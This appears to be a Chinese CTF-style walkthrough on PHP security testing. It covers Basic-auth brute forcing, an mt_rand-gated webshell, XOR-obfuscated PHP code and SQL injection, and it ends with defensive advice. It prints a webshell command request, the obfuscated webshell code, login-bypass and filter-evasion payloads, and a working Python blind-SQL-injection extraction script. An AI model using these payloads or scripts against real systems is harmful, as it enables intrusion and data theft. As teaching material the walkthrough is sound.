平凡的信安专业应届生的寻职之旅
字数 1213 2025-08-23 18:31:24

PHP安全测试实战教学:从基础认证到伪随机数漏洞利用

1. Basic认证爆破实战

1.1 Basic认证机制分析

Basic认证是HTTP协议中最简单的认证方式,其认证头格式为:

Authorization: Basic base64(username:password)

1.2 爆破技巧

  1. 爆破策略

    • 先固定用户名爆破密码(如admin)
    • 再固定密码爆破用户名(如123456)
  2. 工具使用

    • 使用Burp Suite的Intruder模块
    • 构造Payload格式:base64(username:password)
  3. 实战案例

    • 成功爆破出凭证:system/123456

2. PHP伪随机数漏洞分析与利用

2.1 mt_rand()函数的安全问题

$x = mt_rand(2012, 2022);
$y = mt_rand(1997, 2024);
$_____ = ($x * $y);

漏洞原理:

  1. 未使用mt_srand()指定种子时,PHP会使用默认种子
  2. 相同种子产生的随机数序列是确定的
  3. 随机数范围有限时(2012-2022和1997-2024),组合可能性有限(319种)

2.2 漏洞利用方法

  1. 直接爆破法

    • 计算所有可能的乘积结果(2012×1997到2022×2024)
    • 构造POST请求尝试所有可能的参数名
  2. 种子预测法(本案例未采用):

    • 通过已知随机数反推种子值
    • 需要大量计算资源

2.3 实际利用步骤

  1. 发现隐藏文件au2c7ts62gs1ush13.php包含固定乘积值
  2. 构造Webshell请求:
    POST /au2c7ts62gs1ush13.php?Nhhb=system HTTP/1.1
    ...
    4054162=ls
    
  3. 注意参数编码问题(空格使用+而非%20

3. 混淆PHP代码分析技术

3.1 异或字符串混淆

$__ = ("`" ^ "?") . (":" ^ "}") . ("%" ^ "`") . ("{" ^ "/");
// 解码后为 "_GET"

3.2 动态变量执行

@${$__}[$____](@${$___}[$_____]);
// 等价于 @$_GET[Nhhb](@$_POST[4054162]);

3.3 分析技巧

  1. 本地搭建PHP环境执行echo打印变量值
  2. 逐步解析异或操作结果
  3. 识别最终形成的Webshell结构

4. SQL注入漏洞实战

4.1 登录框注入

  1. 万能密码绕过

    'or''='
    
  2. 过滤绕过技巧

    • 空格过滤:使用/**/代替
    • information_schema过滤:使用mysql.innodb_index_stats替代

4.2 盲注脚本编写

import requests

i = 0
flag = ""
host = "http://xxxxx/login.php"

while True:
    head = 32
    tail = 128
    i += 1
    while head < tail:
        mid = (head + tail) // 2
        payload = {
            "name": "admin",
            'password': "'or/**/if(ascii(substr((select/**/group_concat(table_name)/**/from/**/mysql.innodb_index_stats/**/limit/**/0,1),{0},1))>{1},1,0)#".format(i, mid),
            "submit": "LOGIN"
        }
        res = requests.post(url=host, data=payload)
        if "用户名或密码错误" in res.text:
            tail = mid
        else:
            head = mid + 1
    if head != 32:
        flag += chr(head)
        print(flag)
    else:
        break

4.3 注入技巧总结

  1. 基于错误的盲注判断
  2. 二分法加速数据提取
  3. 系统表替代方案

5. 安全测试方法论

  1. 认证机制测试

    • 检查默认凭证
    • 测试爆破可能性
  2. 隐藏内容发现

    • 检查注释代码
    • 查找未链接资源
  3. 输入验证测试

    • SQL注入测试
    • 命令注入测试
  4. 随机数安全

    • 评估随机数范围
    • 检查种子初始化
  5. 代码混淆分析

    • 动态执行解析
    • 逐步解码技术

6. 防御建议

  1. 认证安全

    • 使用强密码策略
    • 实施账户锁定机制
    • 考虑多因素认证
  2. 随机数安全

    • 使用random_int()而非mt_rand()
    • 确保足够的熵源
  3. SQL注入防御

    • 使用预处理语句
    • 实施最小权限原则
    • 过滤系统关键词
  4. 代码安全

    • 避免动态代码执行
    • 禁用危险函数
    • 实施代码混淆检测
  5. 错误处理

    • 禁用详细错误信息
    • 使用统一错误页面

本教学文档涵盖了从基础认证爆破到高级漏洞利用的全过程,重点突出了PHP伪随机数漏洞这一关键技术点,并提供了完整的实战分析方法和防御建议。

PHP安全测试实战教学:从基础认证到伪随机数漏洞利用 1. Basic认证爆破实战 1.1 Basic认证机制分析 Basic认证是HTTP协议中最简单的认证方式,其认证头格式为: 1.2 爆破技巧 爆破策略 : 先固定用户名爆破密码(如admin) 再固定密码爆破用户名(如123456) 工具使用 : 使用Burp Suite的Intruder模块 构造Payload格式: base64(username:password) 实战案例 : 成功爆破出凭证:system/123456 2. PHP伪随机数漏洞分析与利用 2.1 mt_ rand()函数的安全问题 漏洞原理: 未使用 mt_srand() 指定种子时,PHP会使用默认种子 相同种子产生的随机数序列是确定的 随机数范围有限时(2012-2022和1997-2024),组合可能性有限(319种) 2.2 漏洞利用方法 直接爆破法 : 计算所有可能的乘积结果(2012×1997到2022×2024) 构造POST请求尝试所有可能的参数名 种子预测法 (本案例未采用): 通过已知随机数反推种子值 需要大量计算资源 2.3 实际利用步骤 发现隐藏文件 au2c7ts62gs1ush13.php 包含固定乘积值 构造Webshell请求: 注意参数编码问题(空格使用 + 而非 %20 ) 3. 混淆PHP代码分析技术 3.1 异或字符串混淆 3.2 动态变量执行 3.3 分析技巧 本地搭建PHP环境执行echo打印变量值 逐步解析异或操作结果 识别最终形成的Webshell结构 4. SQL注入漏洞实战 4.1 登录框注入 万能密码绕过 : 过滤绕过技巧 : 空格过滤:使用 /**/ 代替 information_ schema过滤:使用 mysql.innodb_index_stats 替代 4.2 盲注脚本编写 4.3 注入技巧总结 基于错误的盲注判断 二分法加速数据提取 系统表替代方案 5. 安全测试方法论 认证机制测试 : 检查默认凭证 测试爆破可能性 隐藏内容发现 : 检查注释代码 查找未链接资源 输入验证测试 : SQL注入测试 命令注入测试 随机数安全 : 评估随机数范围 检查种子初始化 代码混淆分析 : 动态执行解析 逐步解码技术 6. 防御建议 认证安全 : 使用强密码策略 实施账户锁定机制 考虑多因素认证 随机数安全 : 使用 random_int() 而非 mt_rand() 确保足够的熵源 SQL注入防御 : 使用预处理语句 实施最小权限原则 过滤系统关键词 代码安全 : 避免动态代码执行 禁用危险函数 实施代码混淆检测 错误处理 : 禁用详细错误信息 使用统一错误页面 本教学文档涵盖了从基础认证爆破到高级漏洞利用的全过程,重点突出了PHP伪随机数漏洞这一关键技术点,并提供了完整的实战分析方法和防御建议。